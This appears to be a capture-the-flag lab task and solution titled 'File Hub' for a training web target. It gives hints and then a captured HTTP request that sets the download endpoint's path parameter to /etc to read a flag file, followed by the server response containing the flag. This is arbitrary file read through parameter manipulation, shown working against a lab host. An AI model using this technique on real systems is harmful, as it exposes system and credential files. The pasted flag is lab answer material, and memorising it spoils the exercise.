

0. File Hub

Your initial objective entails identifying the vulnerable endpoint and securing the flag located at /etc/0-flag.txt.

- Target Machine: [Cyber - WebSec 0x07](#)
- Main Endpoint: `http://web0x07.hbtn/task0/list_file`

Useful instructions:

1. Try to upload a file.
2. Check page source for every endpoint.
3. Investigate links and how they are processed, and what parameters are accepted.
4. Experiment with altering the path and file names and check the result.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET /task0/download_file?filename=0-flag.txt&path=/etc		HTTP/1.1	1	HTTP/1.1 200 OK		
2	Host: web0x07.hbtn			2	Server: nginx/1.22.1		
3	User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0			3	Date: Tue, 12 Nov 2024 13:26:59 GMT		
4	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*; q=0.8			4	Content-Type: text/plain; charset=utf-8		
5	Accept-Language: en-US,en;q=0.5			5	Content-Length: 40		
6	Accept-Encoding: gzip, deflate, br			6	Connection: keep-alive		
7	Connection: keep-alive			7			
8	Referer: http://web0x07.hbtn/task0/list_file			8	FLAG_0: f3554b6d07e15745781b29db79a13265		
9	Upgrade-Insecure-Requests: 1						
10	If-Modified-Since: Tue, 12 Nov 2024 11:02:39 GMT						
11	If-None-Match: "1731409359.3151963-70-2779844716"						
12	Priority: u=0, i						
13							
14							